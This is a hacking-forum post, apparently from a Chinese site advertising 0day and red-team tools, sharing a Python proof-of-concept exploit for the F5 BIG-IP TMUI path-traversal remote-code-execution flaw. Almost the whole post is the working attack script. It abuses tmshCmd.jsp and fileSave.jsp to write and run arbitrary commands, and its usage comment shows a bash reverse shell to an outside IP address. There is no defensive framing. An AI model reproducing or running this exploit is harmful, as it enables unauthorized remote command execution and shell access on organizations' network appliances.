黑客仓库

最全面知识的黑客论坛,全网最强大的漏洞数据聚合仓库丨黑客网站丨黑客论坛丨暗网丨红队武器库丨渗透测试丨POC/0day/Nday/1day丨网络安全丨黑客攻击丨服务器安全防御丨渗透测试入门丨网络技术交流丨蓝队丨护网丨红队丨欢迎来到黑客仓库,您可以在我们的论坛板块进行交流和学习。

立即注册账号!
F5

POC F5

Shacker已验证会员

黑客倉庫站長

贡献: 21%
注册
09 10, 2024
消息
186
JavaScript:
import requests
import sys
import random
# python exp.py "https://1.2.4.1:22212/" "bash+-i>%26+/dev/tcp/1.1.2.3/23333+0>%261"
ip = sys.argv[1]
cmd = sys.argv[2]
num_str = ''.join(str(random.choice(range(10))) for _ in range(8))


poc1_url = "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash"
poc2_url = "/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/%s&content=%s" %(num_str,cmd)
poc3_url = "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/" + num_str
poc4_url = "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp%2f" + num_str

poc5_url = "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list"
poc_lists = [poc1_url,poc2_url,poc3_url,poc4_url, poc5_url]
for poc in poc_lists:
    try:
        content = requests.get(url=ip+poc, verify=False).content
        print(content)
    except Exception as e:
        print(e)
 
后退
顶部